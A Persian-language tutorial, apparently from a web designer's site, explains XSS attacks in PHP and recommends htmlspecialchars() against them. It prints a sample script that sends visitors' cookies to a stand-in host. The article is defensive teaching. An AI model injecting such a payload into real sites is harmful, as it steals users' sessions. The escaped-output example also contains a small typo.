چگونه از حملات xss در php جلوگیری کنیم

علیرضا حاتمی نیا 1674

با سلام خدمت شما علاقه مندان به آموزش های برنامه نویسی و آموزش های ویژه
امروز در مورد چگونگی جلوگیری از حملات xss در php صحبت می کنیم. XSS بعد از حملات injection در php از اهمیت بسیار بالایی برخوردار است. زیرا هکرها به راحتی توسط این نوع حمله می توانند اطلاعات کاربران سایت شما را به سرقت ببرند. پس حتما به این آموزش دقت کنید.

حمله XSS چیست؟

XSS مخفف عبارت Cross-Site-Scripting است و به دلیل اینکه با CSS اشتباه گرفته نشود ابتدای آن را با حرف X شروع می کنند.
در این نوع حمله نفوذگر اسکریپتهای جاوااسکریپت یا برچسب های HTML دلخواه خود را به صفحه قربانی تزریق کرده و این کدهای مخرب روی مرورگر کاربران دیگر سایت اجرا میشود.
فرض کنید یک سایت نظر سنجی که کاربران نظرات خود را درج می کنند و نظرات دیگران را نیز مشاهده می کنند، در برابر حمله XSS آسیب پذیر باشد.
خب دراینجا شخص نفوذگر کد جاوااسکریپت زیر را در قسمت ثبت نظر وارد می کند:

<script>alert("This Site is Hacked");</script>

حملات xss  در php
از آنجایی که برای مقابله با حملات XSS تدابیری انجام نشده پس کد بالا در صفحه ذخیره و توسط مرورگر چاپ و سپس اجرا می شود که حاصل کار نمایش متن اخطار به تمامی کاربران است:

حمله xss تزریق کد جاوااسکریپت

اگر نگاهی به source صفحه پس از حمله بیندازیم متوجه می شویم که کد عینا در صفحه چاپ شده است که همین موجب اجرای آن در صفحه توسط مرورگر شده است: 

حمله xss و تزریق کد جاوااسکریپت به سایت قربانی

قطعا برای شما اکنون این سوال پیش آمده که یک کد هشدار در صفحه نمی تواند اطلاعات کاربران را به سرقت ببرد. قطعا درست است. اما شخص نفوذگر توسط کد زیر می تواند به کوکی های تمامی کاربران دسترسی داشته باشد:

<script>location.href="http://examplecom/save-cookie.php?data="+escape(document.cookie)</script> 

جلوگیری از حمله xss

بهترین روش برای جلوگیری از حمله xss در php این است که شما کاراکترهای خاص که اغلب در کدهای جاوااسکریپت مورد استفاده قرار می گیرند را به شکل معادل آن در html بنویسیم تا از اجرای آن توسط مرورگر جلوگیری کنیم.

بعض از این کارکترها و معادل آنها در HTML به شرح زیر است:

کاراکترهای خاص و معادل آنها در HTML

روش جلوگیری از حمله xss در php

اما در php چگونه کاراکترهای خاص را به معادل آنها در HTML تبدیل کنیم؟
جواب استفاده از تابع htmlspecialchars() در php می باشد. این تابع کاراکتر های خاص را در ورودی هایی که کاربران ارسال کرده اند شناسایی می کند و آن ها را به معادل آن در HTML تبدیل می کند. می توانید ورودی هایی که توسط کاربران به سایت شما ارسال می شوند را توسط این تابع فیلتر کنید:

htmlspecialchars($_GET['comment']);

کد جااوا اسکریپت بالا پس از ارسال به این تابع به شکل زیر تبدیل می شود و از اجرای آن جلوگیری می شود:

&lt;script&gt;alert(&quot;This Site is Hacked&quot;);&lt;/script&gt;gt;

 

کلمات کلیدی

لینک های مرتبط

طراحی سایت اصفهان
علیرضا حاتمی نیا
طراح و برنامه نویس وب
طراحی وبسایت های واکنش گرا
طراحی و پیاده سازی سیستم مدیریت محتوا
سئو و بهینه سازی سایت